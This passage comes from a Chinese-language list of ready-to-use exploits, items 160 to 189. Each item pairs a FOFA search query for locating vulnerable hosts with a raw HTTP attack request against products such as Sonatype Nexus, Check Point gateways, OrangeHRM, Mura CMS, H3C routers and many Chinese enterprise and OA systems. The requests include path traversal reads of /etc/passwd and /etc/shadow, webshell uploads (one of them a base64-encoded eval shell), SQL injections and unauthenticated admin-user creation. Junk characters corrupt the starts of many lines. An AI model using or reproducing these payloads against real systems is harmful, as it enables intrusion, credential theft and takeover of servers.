User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
( D) ?2 k1 g& H7 G- P6 u- aContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
; ~$ y: N) P& I, m0 _6 e) ]' N6 qContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
* T, y7 J9 t; K# Q' z
- L- f0 C: @# ]# A<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
8 F# o. }/ F* h( J<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
$ x: W9 C9 V+ ^<subFolder></subFolder>
" u5 w. u4 J4 o8 C<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
5 U6 a6 Z& `6 l9 ~* P& {5 l# B</jobUpload>
. g& A' S6 p0 f' D</soap:Body>
" w# \4 ^9 b) u7 @, Y</soap:Envelope>


' z! V$ {# b6 Y3 f% Q" O: n% H/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
" C5 K; E2 C3 P7 n9 u
( F4 W7 C, z& S. H, `5 z
) `3 i9 B* t: r" `: S160. Sonatype Nexus Repository 3目录遍历与文件读取
$ f$ p) ]9 j! t- Q& TCVE-2024-4956
; X2 G2 \6 x( J: q9 ^5 ZFOFA：title="Nexus Repository Manager"
0 O/ g9 {) L. ~' b# {GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
: e9 I4 |1 b7 v1 X- g" T& EUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
9 @$ K' ~2 _4 A, M& E9 `Accept-Language: en
: [% ?9 o7 Q9 wAccept-Encoding: gzip
2 `1 \4 Z9 [1 S7 B3 ]6 t5 @! W8 s
" h+ p' H% R& U) T' n: }! G1 }
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
6 q, B1 `4 ^0 K2 o6 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
0 X9 h, k$ ]! |$ iAccept-Encoding: gzip
. o, N* L% l7 {
+ m# \  b) S6 l% J8 l<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
: z  q2 I5 F" j% Whttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
) a9 ?6 [0 h9 N0 X<ip>1</ip>
$ e$ g% @2 J$ w<fileName>../../../../dizxdell.aspx</fileName>
' K' e/ `; t8 l5 N5 _: {& r" S<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
! B0 D7 Z4 C, C<tag>3</tag>
: n% y% p' [+ E$ x" Y</UploadResume>
</soap:Body>
</soap:Envelope>


. T5 A5 [0 E  e, ?! a" qhttp://x.x.x.x/dizxdell.aspx
2 Q) j+ U" i& _& w2 Q( O
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
. [% I0 M' x- O' h% KFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
" R. {2 O; [  `Host: x.x.x.x
( {) K/ q; K+ y+ `" Q9 p# `. g- UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
+ H; h# b2 D: AConnection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
  |& {' Q$ P0 R+ F3 j. S
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
- Q; z$ T1 D3 E+ w+ \( W! ?Content-Type: application/octet-stream
4 Y1 X& Y3 ?' a% S$ K" H; i. l! [0 h
<% response.write("ujidwqfuuqjalgkvrpqy") %>
6 U7 H) v! r* |5 v------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

" O6 f2 a6 y" w0 |+ s& g1 I: TResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

) [# q5 y/ G' [/ n0 U# W0 i/opt/resources
0 i+ V/ _( e, E& ?------WebKitFormBoundaryeegvclmyurlotuey--

7 _* w/ q! h1 F$ S
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

3 G% y% w! i9 g& A* H. ]163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
, W2 x9 p' g& [% f% w# RFOFA: icon_hash="-795291075"
( b. ~' i9 ]' WPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
% q0 C, }% r! b# kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
' w; B* [' m% D4 `, c8 KConnection: close
: y* s* k4 o6 X& N5 Y9 VContent-Length: 293
* ], v$ n4 B% v. g! }, S4 y5 ^Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 I% b% R7 Q" D/ S5 F* }1 J: ^6 Y( YContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
3 k4 m! x  K: G% q4 y6 Q
------iiqvnofupvhdyrcoqyuujyetjvqgocod
) F* ^, _! d4 kContent-Disposition: form-data; name="name"
* d" `  _4 B0 F4 q- X
1.php
2 l6 x9 |3 u0 K$ _------iiqvnofupvhdyrcoqyuujyetjvqgocod
0 x( P( q0 m4 S3 _Content-Disposition: form-data; name="upfile"; filename="1.php"
5 t  t+ a+ F# zContent-Type: image/jpeg
$ s9 E8 k/ {6 Y; K
! D6 s+ t. h" \5 Irvjhvbhwwuooyiioxega
* d6 T, h% T, @7 `0 U# e------iiqvnofupvhdyrcoqyuujyetjvqgocod--

2 x5 D& d# C8 m
0 D9 x. X1 s: s* @$ ^164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
2 m; W2 w8 j' |) W4 KPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
" _! y" M: T8 ]8 D1 I" QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
2 ^  m, b+ ^4 @* oAccept: application/json, text/javascript, */*; q=0.01
4 D0 ]1 u6 y9 F' iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
8 ?+ z7 ]1 |4 T9 m; ~$ i; y5 x2 UConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
$ F# E1 O% m9 U0 L3 t
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
- g8 \5 Y" a7 [2 i! @3 K8 ]6 J) cContent-Type: image/jpeg

- W% l6 b* x. i1 X<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
( R; T' Y: i6 x------dqdaieopnozbkapjacdbdthlvtlyl--

$ U2 K8 Q( y( f% y4 P4 x" E
/ a5 t/ m/ ?; r* ]! Lhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

. U/ ~6 ~& r9 L$ ~
+ d7 J# h. `" b1 a) t* {7 j166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
7 ^3 V* T# _( }, ^5 rPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
9 d2 j7 ]5 o/ {/ `+ q0 SHost:
) {4 {6 s2 C0 T$ T3 g+ jPragma: no-cache
. z" Y- y& ]# g' HCache-Control: no-cache
  X/ I/ S2 M! ?, n/ ?* E6 H2 mUpgrade-Insecure-Requests: 1
- y: m' K! ]# v3 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ Y9 F- O: `1 n* C1 M- b7 \6 xAccept-Encoding: gzip, deflate
7 H8 ^: k: E- h: ^) f6 ]/ zAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
) b# _6 G3 v8 T2 F% T2 }6 Z1 oCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
' E3 {/ c. d; F- ?$ rContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
$ R, V0 r, {4 K) t$ B

* V+ k7 g. r* \6 x% G% D: T167. 精益价值管理系统 DownLoad.aspx任意文件读取
" j: }; ~$ k) S, t/ @1 ?* p" TFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
  l& p' y% X. PHost:
7 N7 ?4 X- K% o$ d: z+ OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 R2 A# |! |, A# jAccept-Encoding: gzip, deflate
* g2 d+ g% G0 X9 vAccept: */*
Connection: keep-alive
1 P  Z( o( n- W, T4 P" J! N+ Y4 Z! }

168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
. u8 B0 G; G, l4 IHost: your-ip
6 ^8 d7 o6 D, s6 s) \4 B: w4 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
. F& x  k9 L" g$ ^0 ~Content-Type: application/x-www-form-urlencoded
# x4 Z! d. A1 V* d6 z' _Connection: close
: ^5 A: L4 V- d  ^- y
: R+ s/ z5 J- D, p& x  K& J

169. 宏景EHR downlawbase SQL注入
9 Z+ A! y2 q( ~8 R, N: G# CFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. n; h: _) x  h, q5 |' ^Accept: */*
Accept-Encoding: gzip, deflate
Connection: close



170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
" r7 j' b  g8 Z9 |4 r8 I
! [0 o+ Y3 ^4 y2 f' s+ Z
/ l8 C# l- }$ \171. 通天星CMSV6车载定位监控平台 SQL注入
/ W' ]. B4 L# f% k" VFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# E" M4 @" I. C3 FConnection: close
3 s& Y9 r# U1 ^


+ n5 F; Q: I9 Q  ^172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
; r- A% k/ F/ Q  FGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ C4 Q! ^  \2 u+ b) z5 HAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
% s! M! R! v1 L- }; r
  v( l% S4 W3 h
% V6 I2 h- ]6 ~* E# h# ^1 L, k7 m" N
173. Check Point 安全网关任意文件读取
' F9 v& Q/ Q* l/ |; W7 ECVE-2024-24919
( L" \, y, ?- b- a3 w3 |3 mFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

* J9 X0 _7 c" U% \! o5 g# |aCSHELL/../../../../../../../etc/shadow
$ {% }1 p6 S9 Q! G1 R
/ b7 d* v. ~3 s4 ?1 a& C( N
, o; g7 G7 j: j- a  I- _
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
4 g! i7 ^: y+ I$ X$ l8 v9 oFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
+ l3 ]3 z4 w$ x- Q7 L9 L; DHost: your-ip
2 o  O+ [+ T4 R! h! F: q& wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
% g% P8 S: d" u$ [: U( z2 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
2 z- Q0 n8 B0 v3 Z! PConnection: close

- v1 K0 O+ t. S! I2 L" x$ @7 K

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
9 H! G1 z. l( P8 E1 bFOFA：app="金和网络-金和OA"
# }7 p1 m2 b2 M; L2 u. F3 T6 P2 fGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
, h/ N" ^: w9 oUpgrade-Insecure-Requests: 1


! @, r) r. i. p/ o176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
) y5 O- |: N( b* j( f  V* {POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
9 y/ |: t. k6 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
0 n! ?- t, q3 O) H7 `/ W
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
6 C/ K+ @- e6 @8 y- |Content-Type: image/png
0 V8 l  m* \7 |9 S! \, X- D
% G, B2 Y  w  h<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--



177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
9 S, n1 J9 ~, g; w! n/userLogin.asp/../actionpolicy_status/../GR8300.cfg
6 z8 k, q- b# y, y$ B) s1 n/userLogin.asp/../actionpolicy_status/../GR5200.cfg
& Y; C" R4 c" n! f8 X/userLogin.asp/../actionpolicy_status/../GR3200.cfg
3 D6 V- P. O) y" N& P/userLogin.asp/../actionpolicy_status/../GR2200.cfg
7 R; Z5 c- v' r/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
# V9 S5 R1 k; a2 K: z* j2 e; C/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
1 s; d" `4 D" h/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
, V8 R$ g5 L- T2 j( ]: U& Q/userLogin.asp/../actionpolicy_status/../ER5200.cfg
: ]* A( }  j1 B+ f* y1 Q; w/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
9 z; s7 [/ {: }2 `0 _. B' a' P/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/ E7 n' B* [8 C) c/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
  l6 j# }1 P0 \# t; ?0 W/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
0 K+ I0 i( d) U; e/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
# N8 ]' M' Z8 D: G0 r

6 y0 ~9 X8 r, f178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
9 X1 L3 J$ Y% V/ b0 GPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& D( ?. B$ e$ bContent-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
3 \+ r1 ~: Y$ X$ NContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
8 ]1 M8 p' ?5 ^' ~-----------------aqutkea7vvanpqy3rh2l
" T8 k% z. s# h0 d  R/ T1 ^7 I1 l0 IContent-Disposition: form-data; name="12234.txt"; filename="12234"
  q$ W3 S; s6 y7 L; k1 mContent-Type: application/octet-stream
+ o+ j8 D7 ^2 X+ x5 `Content-Length: 255
+ ~; F/ U* W  d, L
12234
4 {/ w: R( \0 q-----------------aqutkea7vvanpqy3rh2l--

6 s# }+ R2 {0 ^4 T9 u" ^
' U5 V! n8 u; g6 [+ UGET /imc/primepush/%2e%2e/flex/12234.txt
1 o8 I' f- w) `3 d: C
% I9 g2 K8 V7 U* ]
) {5 w! C' S7 T2 I8 j' M9 Z, u0 ]0 C179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
( m/ R  }, |; n6 ]& gHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
0 `" `) i# ?+ {9 HUser-Agent: Mozilla/5.0
& Z; w& n5 b: R$ i
0 f  B) ~  C( J: I/ Apath=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
0 P  n. i/ ~! ?$ l% G' B8 kFOFA：app="帮管客-CRM"
+ X" x7 b7 ]+ x  N( o) {6 KGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ [$ j/ v8 |* M$ C/ NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  }+ w  Y' j1 k. I. p6 _8 m6 IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
* ^$ I7 ]# X; I$ i/ J  @* lFOFA："PDCA/js/_publicCom.js"
6 H2 g7 S' n) A* k1 N; Q& vPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
, ?0 A% D3 \& h  @( ?
, }# H# q/ L& n" V% u# U2 y( {
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


/ w2 c+ M0 a" c! M182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
2 B; Z) W. V9 x: n4 c$ V- o4 }FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
9 ~% P+ r6 N, ~5 N# jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
; Y# y& _+ e2 L$ P; hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
8 S! T$ Y+ u' f/ a" j% b: fAccept-Language: zh-CN,zh;q=0.9
Connection: close
) V% ?/ e" r1 @0 I3 b  ]Content-Type: application/x-www-form-urlencoded
$ B% k- M' `" y" L3 `

: K* ?$ K0 L5 _! }, x* h5 `) l# uusername=test1234&pwd=test1234&savedays=1


. ?' m3 t# S5 n' B- t7 v6 x183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
! T; M2 ^# n5 O# P( t& QGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
; q) h2 I7 e5 F5 U  YAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
3 z' U) @( f! FConnection: close
/ p: ^* X2 L  w1 K  q

0 x/ R; i9 T! z* D: ^184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
4 B" S9 D/ o. j8 A1 GAccept-Encoding: gzip, deflate
& I" u: E+ s3 {! M& yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
9 u# O& }# d; r* `9 }; a  T1 ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; r( w# l. x8 p, @5 CX-Requested-With: XMLHttpRequest

$ Y9 i+ R  f9 w9 c% i; _0 m+ l
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
* A# T& \9 R3 T/ p* u+ @! \8 c
7 T; q8 j  F, T) \
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
5 g, n/ Q! `" v8 b9 d) E; }8 iFOFA：app="REALOR-天翼应用虚拟化系统"
0 n- ?' B$ y: T9 t9 FGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host


% l  D( O0 G7 {  Y' o186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
+ W+ J& ]+ F0 j2 {6 OPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
; I: s( W9 o8 K+ i' ?. gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
  z" K5 y) X* T$ S
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
1 L7 V6 E- U; i! _7 y' F) F

0 a8 ~7 S; y5 U5 P  X187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
0 e; Z& |- h/ c% ?' p2 i8 A1 gPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
. N$ {' |6 ?% u9 B( d) IHost: your-ip
* }" M% `8 ]5 r6 e) lContent-Type: application/x-www-form-urlencoded

  v4 [3 k$ W4 G% W
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

1 q' O- [* j# j. h4 V* ^+ L
188. 叁体-佳会视频会议 attachment 任意文件读取
) n! X6 _* E+ |* _version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
" ^+ l) L  M  _+ y- ]! p# n( [GET /attachment?file=/etc/passwd HTTP/1.1
- O! _# s) V( zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 @" s7 b* o- E) tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
7 }! ~1 J6 ~# m$ v! T" b. DConnection: close
: e  `) ]% K$ S6 [

$ ^7 `4 w5 H1 h) O6 N189. 蓝网科技临床浏览系统 deleteStudy SQL注入
) n0 o. u- k# k" Z& f  Y. bFOFA：app="LANWON-临床浏览系统"
